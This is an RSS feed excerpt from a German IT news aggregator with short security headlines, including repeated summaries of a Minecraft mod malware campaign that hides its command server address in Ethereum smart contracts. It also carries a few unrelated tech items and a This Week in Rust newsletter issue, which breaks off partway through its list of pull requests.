<description><![CDATA[9 posts were published in the last hour 9:34 : Russian Authorities Used Cellebrite UFED to Break Into Human Rights Activist’s iPhone 9:34 : Third-Party Breach at Polymarket Leads to $2.94M Crypto Theft 9:34 : Minecraft Malware Loader Uses RSA-Signed…
Read more →
The post IT Security News Hourly S...]]></description>
<link>https://tsecurity.de/de/3626992/it-security-nachrichten/it-security-news-hourly-summary-2026-06-26-12h-9-posts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3626992/it-security-nachrichten/it-security-news-hourly-summary-2026-06-26-12h-9-posts/</guid>
<pubDate>Fri, 26 Jun 2026 12:08:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>9 posts were published in the last hour 9:34 : Russian Authorities Used Cellebrite UFED to Break Into Human Rights Activist’s iPhone 9:34 : Third-Party Breach at Polymarket Leads to $2.94M Crypto Theft 9:34 : Minecraft Malware Loader Uses RSA-Signed…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/it-security-news-hourly-summary-2026-06-26-12h-9-posts/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/it-security-news-hourly-summary-2026-06-26-12h-9-posts/">IT Security News Hourly Summary 2026-06-26 12h : 9 posts</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Minecraft Malware Loader Uses RSA-Signed Smart Contract Updates for Persistent C2]]></title>
<description><![CDATA[A new and highly sophisticated malware loader has been found hiding inside what appears to be a harmless Minecraft mod. Researchers have uncovered a campaign that blends blockchain technology and social engineering to steal player credentials and deliver additional malicious…
Read more →
The post...]]></description>
<link>https://tsecurity.de/de/3626927/it-security-nachrichten/minecraft-malware-loader-uses-rsa-signed-smart-contract-updates-for-persistent-c2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3626927/it-security-nachrichten/minecraft-malware-loader-uses-rsa-signed-smart-contract-updates-for-persistent-c2/</guid>
<pubDate>Fri, 26 Jun 2026 11:37:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A new and highly sophisticated malware loader has been found hiding inside what appears to be a harmless Minecraft mod. Researchers have uncovered a campaign that blends blockchain technology and social engineering to steal player credentials and deliver additional malicious…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/minecraft-malware-loader-uses-rsa-signed-smart-contract-updates-for-persistent-c2/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/minecraft-malware-loader-uses-rsa-signed-smart-contract-updates-for-persistent-c2/">Minecraft Malware Loader Uses RSA-Signed Smart Contract Updates for Persistent C2</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<item>
<title><![CDATA[Minecraft Malware Loader Uses RSA-Signed Smart Contract Updates for Persistent C2]]></title>
<description><![CDATA[A new and highly sophisticated malware loader has been found hiding inside what appears to be a harmless Minecraft mod. Researchers have uncovered a campaign that blends blockchain technology and social engineering to steal player credentials and deliver additional malicious payloads. The damage ...]]></description>
<link>https://tsecurity.de/de/3626820/it-security-nachrichten/minecraft-malware-loader-uses-rsa-signed-smart-contract-updates-for-persistent-c2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3626820/it-security-nachrichten/minecraft-malware-loader-uses-rsa-signed-smart-contract-updates-for-persistent-c2/</guid>
<pubDate>Fri, 26 Jun 2026 10:53:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A new and highly sophisticated malware loader has been found hiding inside what appears to be a harmless Minecraft mod. Researchers have uncovered a campaign that blends blockchain technology and social engineering to steal player credentials and deliver additional malicious payloads. The damage is already significant, with over 116,000 unique systems compromised since the campaign […]</p>
<p>The post <a href="https://cybersecuritynews.com/minecraft-malware-loader-uses-rsa-signed/">Minecraft Malware Loader Uses RSA-Signed Smart Contract Updates for Persistent C2</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[LoaderClient Malware Uses Ethereum Smart Contracts to Keep WeedHack C2 Infrastructure Alive]]></title>
<description><![CDATA[A new Minecraft-based malware, LoaderClient, is aggressively stealing session credentials and OAuth tokens by hiding its command-and-control infrastructure within the blockchain. Disguised as a generic Fabric modification, this malicious payload serves as the initial infection vector for the rapi...]]></description>
<link>https://tsecurity.de/de/3626428/it-security-nachrichten/loaderclient-malware-uses-ethereum-smart-contracts-to-keep-weedhack-c2-infrastructure-alive/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3626428/it-security-nachrichten/loaderclient-malware-uses-ethereum-smart-contracts-to-keep-weedhack-c2-infrastructure-alive/</guid>
<pubDate>Fri, 26 Jun 2026 08:09:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A new Minecraft-based malware, LoaderClient, is aggressively stealing session credentials and OAuth tokens by hiding its command-and-control infrastructure within the blockchain. Disguised as a generic Fabric modification, this malicious payload serves as the initial infection vector for the rapidly expanding WeedHack campaign. Once executed, it secretly harvests live authentication data without triggering typical operating system […]</p>
<p>The post <a href="https://cyberpress.org/ethereum-sustains-weedhack-c2/">LoaderClient Malware Uses Ethereum Smart Contracts to Keep WeedHack C2 Infrastructure Alive</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Hackers Use Malicious Minecraft Fabric Mods to Deploy LoaderClient and WeedHack Stealer]]></title>
<description><![CDATA[Hackers are weaponizing malicious Minecraft Fabric mods to deliver LoaderClient. This stage-one malware loader steals session data and hands it off to the WeedHack stealer through a fileless, blockchain-backed execution chain. The campaign stands out for its use of EtherHiding,…
Read more →
The p...]]></description>
<link>https://tsecurity.de/de/3626424/it-security-nachrichten/hackers-use-malicious-minecraft-fabric-mods-to-deploy-loaderclient-and-weedhack-stealer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3626424/it-security-nachrichten/hackers-use-malicious-minecraft-fabric-mods-to-deploy-loaderclient-and-weedhack-stealer/</guid>
<pubDate>Fri, 26 Jun 2026 08:09:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hackers are weaponizing malicious Minecraft Fabric mods to deliver LoaderClient. This stage-one malware loader steals session data and hands it off to the WeedHack stealer through a fileless, blockchain-backed execution chain. The campaign stands out for its use of EtherHiding,…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/hackers-use-malicious-minecraft-fabric-mods-to-deploy-loaderclient-and-weedhack-stealer/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/hackers-use-malicious-minecraft-fabric-mods-to-deploy-loaderclient-and-weedhack-stealer/">Hackers Use Malicious Minecraft Fabric Mods to Deploy LoaderClient and WeedHack Stealer</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<item>
<title><![CDATA[Hackers Use Malicious Minecraft Fabric Mods to Deploy LoaderClient and WeedHack Stealer]]></title>
<description><![CDATA[Hackers are weaponizing malicious Minecraft Fabric mods to deliver LoaderClient. This stage-one malware loader steals session data and hands it off to the WeedHack stealer through a fileless, blockchain-backed execution chain. The campaign stands out for its use of EtherHiding, where the command-...]]></description>
<link>https://tsecurity.de/de/3626399/it-security-nachrichten/hackers-use-malicious-minecraft-fabric-mods-to-deploy-loaderclient-and-weedhack-stealer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3626399/it-security-nachrichten/hackers-use-malicious-minecraft-fabric-mods-to-deploy-loaderclient-and-weedhack-stealer/</guid>
<pubDate>Fri, 26 Jun 2026 07:52:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hackers are weaponizing malicious Minecraft Fabric mods to deliver LoaderClient. This stage-one malware loader steals session data and hands it off to the WeedHack stealer through a fileless, blockchain-backed execution chain. The campaign stands out for its use of EtherHiding, where the command-and-control URL is pulled from an Ethereum smart contract instead of a conventional […]</p>
<p>The post <a href="https://gbhackers.com/loaderclient-and-weedhack-stealer/">Hackers Use Malicious Minecraft Fabric Mods to Deploy LoaderClient and WeedHack Stealer</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<item>
<title><![CDATA[MIT Program Can Design New Structures That Use Far Less Material]]></title>
<description><![CDATA[From affordability to carbon output, there are many reasons to bring topological optimization out of the realm of 3D printing and into the real world.]]></description>
<link>https://tsecurity.de/de/3625695/it-nachrichten/mit-program-can-design-new-structures-that-use-far-less-material/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3625695/it-nachrichten/mit-program-can-design-new-structures-that-use-far-less-material/</guid>
<pubDate>Thu, 25 Jun 2026 21:17:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[From affordability to carbon output, there are many reasons to bring topological optimization out of the realm of 3D printing and into the real world.]]></content:encoded>
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<item>
<title><![CDATA[Minecraft 26.3 already has a first snapshot out with the Dappled Forest Biome]]></title>
<description><![CDATA[Minecraft Java Edition 26.2 'Chaos Cubed' only recently launched, and Mojang are already smacking those keys to hook us up with more new content.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3623697/linux-tipps/minecraft-263-already-has-a-first-snapshot-out-with-the-dappled-forest-biome/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3623697/linux-tipps/minecraft-263-already-has-a-first-snapshot-out-with-the-dappled-forest-biome/</guid>
<pubDate>Thu, 25 Jun 2026 09:36:33 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Minecraft Java Edition 26.2 'Chaos Cubed' only recently launched, and Mojang are already smacking those keys to hook us up with more new content.<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/1787784072id29277gol.webp" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/06/minecraft-26-3-already-has-a-first-snapshot-out-with-the-dappled-forest-biome/">GamingOnLinux</a>.</p>]]></content:encoded>
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<title><![CDATA[This Week In Rust: This Week in Rust 657]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3623222/tools/this-week-in-rust-this-week-in-rust-657/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3623222/tools/this-week-in-rust-this-week-in-rust-657/</guid>
<pubDate>Thu, 25 Jun 2026 04:09:06 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#foundation">Foundation</a></h5>
<ul>
<li><a href="https://rustfoundation.org/media/rust-foundation-welcomes-openai-as-platinum-member-announces-donation-to-rust-project/">Rust Foundation Welcomes OpenAI As Platinum Member</a></li>
<li><a href="https://rustfoundation.org/media/rust-commercial-network-launches-to-bring-commercial-users-of-rust-language-together/">Rust Commercial Network Launches to Unite Commercial Users of Rust</a></li>
<li><a href="https://rustfoundation.org/media/mainmatter-is-bringing-hands-on-rust-training-to-upskilling-week-in-barcelona/">Mainmatter Is Bringing Hands-On Rust Training</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#newsletters">Newsletters</a></h5>
<ul>
<li><a href="https://www.theembeddedrustacean.com/p/the-embedded-rustacean-issue-74">The Embedded Rustacean Issue #74</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://bevy.org/news/bevy-0-19">Bevy 0.19</a></li>
<li><a href="https://blog.image-rs.org/2026/06/18/png-adoption.html">Rust PNG crate gets even faster, used by GNOME and Chromium</a></li>
<li><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.7.0">kache 0.7.0: caching real-world C/C++ trees</a></li>
<li><a href="https://www.willsearch.com.br/blog/2026/06/23/new-feature-in-guardiandb-introducing-the-odm-object-document-mapper-layer/">New Feature in GuardianDB: Introducing the ODM (Object Document Mapper) Layer</a></li>
<li><a href="https://shnatsel.medium.com/safe-simd-in-rust-even-on-the-inside-c6f1ff381828">Safe SIMD in Rust, even on the inside</a></li>
<li><a href="https://ratatui.rs/highlights/v0302/">Ratatui 0.30.2 is released - a Rust library for cooking up terminal user interfaces</a></li>
<li><a href="https://dev.to/alexandr_litvinov/adding-a-post-quantum-hybrid-handshake-to-a-rust-vpn-pk8">Adding a post-quantum hybrid handshake to a Rust VPN</a></li>
<li><a href="https://tensor4all.org/blog/introducing-tenferro-rs/">From Julia to Rust: a differentiable tensor stack for scientific computing in the agentic AI era</a></li>
<li><a href="https://hotpath.rs/blog/profiling-async-rust">hotpath-rs 0.18: Profiling Async and Concurrent Rust - Channels and Lock Contention</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://blog.cloudflare.com/hyper-bug/">How we found a bug in the hyper HTTP library</a></li>
<li><a href="https://corrode.dev/podcast/s06e06-clickhouse/">ClickHouse with Alexey Milovidov and Austin Bonander</a></li>
<li><a href="https://kerkour.com/iroh-v1-p2p">Deep dive into iroh: A replacement for WireGuard or a peer-to-peer layer for your application?</a></li>
<li><a href="https://kobzol.github.io/rust/2026/06/21/optimizing-sqlx-test-rebuild-time.html">Optimizing #[sqlx::test] rebuild time</a></li>
<li><a href="https://bitfieldconsulting.com/posts/rewrite-in-rust">Rewriting the world in Rust</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li><a href="https://docs.litellm.ai/blog/litellm-rust-launch">Migrating LiteLLM to Rust - Building the Fastest and Litest AI Gateway</a></li>
<li><a href="https://medium.com/@shnatsel/safe-simd-in-rust-even-on-the-inside-c6f1ff381828">Safe SIMD in Rust, even on the inside</a></li>
<li><a href="https://blog.sheerluck.dev/posts/learn-rust-async-await-by-building-an-http-server/">Learn Rust Async/Await, Tokio, and TCP Networking by Building an HTTP/1.1 Server</a></li>
<li><a href="https://blog.sheerluck.dev/posts/build-breakout-in-bevy-step-by-step/">Building Breakout in Bevy: Step by Step</a></li>
<li><a href="https://medium.com/@vbasky/porting-200-000-lines-of-c-to-rust-building-a-byte-identical-mediainfo-replacement-8e9b587d469a">Porting 300,000 Lines of C++ and Perl to Rust: A Dual-Oracle Media Metadata Engine</a></li>
<li><a href="https://corentin-core.github.io/posts/ruxe-type-level-disjointness/">A data race that doesn't compile</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=RKojTb9IVJc">RustCurious lesson 9: Traits are Interfaces</a></li>
<li>[Video] <a href="https://www.youtube.com/watch?v=X8GDc2AtbG8">BAML: a new programming language (created in Rust)</a></li>
<li>[Video] <a href="https://www.youtube.com/watch?v=O3YWQvNqwHc">The Future of Version Control</a></li>
<li>[Video] <a href="https://www.youtube.com/watch?v=1Xz1E_27Uqc">Borrowing Beauty: My Beginner's Quest to Create Approachable Bevy &amp; Rust Code</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://github.com/orium/cargo-rdme">cargo-rdme</a>, a </p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1616">Diogo Sousa</a> for the self-suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>




<ul>
<li><a href="https://github.com/aimdb-dev/aimdb/issues/116">AimDB - Non-blocking fallible <code>try_produce</code> for bounded / non-overwriting buffers</a></li>
<li><a href="https://github.com/aimdb-dev/aimdb/issues/99">AimDB - Add minimal example: hello-mailbox-async</a></li>
</ul>
<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>



<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>515 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-06-16..2026-06-23">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/157926">implement <code>#[diagnostic::on_unknown]</code> for modules</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158042">outline part of <code>evaluate_goal_raw</code> into its own <code>#[cold]</code> function</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157967">preserve <code>track_caller</code> for by-value dyn vtable shims</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/156983">add <code>io::Read::read_le</code> and <code>io::Read::read_be</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155616">constify <code>TryFrom&lt;Vec&gt;</code> for array</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157878"><code>impl [const] Default for BTreeMap</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157912">stabilize <code>str_from_utf16_endian</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158012">stabilize <code>strip_circumfix</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/141266">stabilize <code>substr_range</code> and <code>subslice_range</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/cargo/pull/17112"><code>diag</code>: Support <code>build.warnings</code> for cargo lints</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17117"><code>add</code>: list too-new versions and how to override</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17123"><code>host-config</code>: dont apply target config to host artifacts</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17107"><code>install</code>: Run cargo lints like rustc lints</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17118"><code>resolver</code>: hint how to resolve too-new versions</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17127"><code>test</code>: skip dwp uplift test without packed debuginfo</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17110">add Solaris fcntl file locking</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17012"><code>-Zmin-publish-age</code></a> (RFC <a href="https://rust-lang.github.io/rfcs/3923-cargo-min-publish-age.html">#3923</a>)</li>
<li><a href="https://github.com/rust-lang/cargo/pull/17108">improved the test error messages when 'rustc -V' fails</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17115">remove windows-sys dependencies older than 0.61</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16931">add lint to suggest <code>as_chunks</code> over <code>chunks_exact</code> with constant</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16252">new <code>unnecessary_unwrap_unchecked</code>: lint</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/15907"><code>extra_unused_type_parameters</code>: don't suggest an autofix</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17001"><code>let_underscore_future</code>: skip bindings with an explicit type annotation</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16976">avoid ICE when evaluating constants containing unsized type args</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16928">avoid <code>map_unwrap_or</code> fix when default is adjusted</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17256">do not check for unused lifetimes in expanded code</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17249">don't trigger <code>unnecessary_box_returns</code> when the size depends on generics</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17243">find a shared context for the format string and the <code>format!</code> call</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17205">fix OOM panic for large types on uninit check</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16964">fix <code>std_instead_of_core</code>: false positives for <code>core::io</code>/MSRV</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16926"><code>manual_slice_fill</code> detect for in loops over <code>&amp;mut [T; N]</code> slices</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17239">merge comment and cfg checking in <code>matches</code> lint pass</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17266">perf: check the method name first in <code>or_fun_call</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17265">perf: compare method names before type queries in three lint passes</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17275">perf: run structural checks before const context queries in <code>question_mark, manual_clamp</code> and ranges</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17272">perf: skip <code>match_same_arms</code> work when the lint is allowed</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17226">perf: skip tokenizing in <code>span_contains_cfg</code> when no '#' is present</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17278">treat <code>!</code> the same as <code>-</code> in <code>unnecessary_cast</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22618"><code>assists/replace_match_with_if_let</code>: don't parenthesize if-let guards</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22617"><code>implements_trait_unique_with_infcx</code>: only forbid the self type from being an error type</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22516">bye bye ted</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22627">do not visit nodes in GC multiple times</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22594">MIR eval mixed bit and byte sizes</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22599">check for <code>#[cfg]s</code> in tail expression macros</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22601">crash on static constants in array length positions</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22486">don't complete <code>.await</code> on receivers of unknown type</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22621">don't panic on out-of-range integer literals in const positions</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22351">migrate merge imports to editor</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>This week had a lot of big swings, with two significant perf regressions that are accepted
because they unlock future features and perf improvements.
We also saw large improvements in the next trait solver due to the performance optimization work happening there.</p>
<p>Triage done by <strong>@JonathanBrouwer</strong> with help from <strong>@Kobzol</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=b5d46ecb51c3e4134b82570cfe718f093daa6390&amp;end=8b6558a02b2774acfb25cf15e199467c37ba7490&amp;absolute=false&amp;stat=instructions%3Au">b5d46ecb..8b6558a0</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.9%</td>
<td>[0.2%, 2.7%]</td>
<td>184</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>1.0%</td>
<td>[0.1%, 4.2%]</td>
<td>160</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-0.3%</td>
<td>[-0.3%, -0.2%]</td>
<td>2</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-11.8%</td>
<td>[-69.9%, -0.2%]</td>
<td>25</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>0.8%</td>
<td>[-0.3%, 2.7%]</td>
<td>186</td>
</tr>
</tbody>
</table>
<p>5 Regressions, 3 Improvements, 2 Mixed; 4 of them in rollups
30 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/660052c17ccde865dff7c7ffd525affa0550c846/triage/2026/2026-06-21.md">Full report here</a></p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/157497">rustc_lint: Allow scoped <code>non_ascii_idents</code> lint levels</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157857">Stabilize <code>#[my_macro] mod foo;</code> (part of <code>proc_macro_hygiene</code>)</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/134021">Implement <code>IntoIterator</code> for <code>[&amp;[mut]] Box&lt;[T; N], A&gt;</code></a></li>
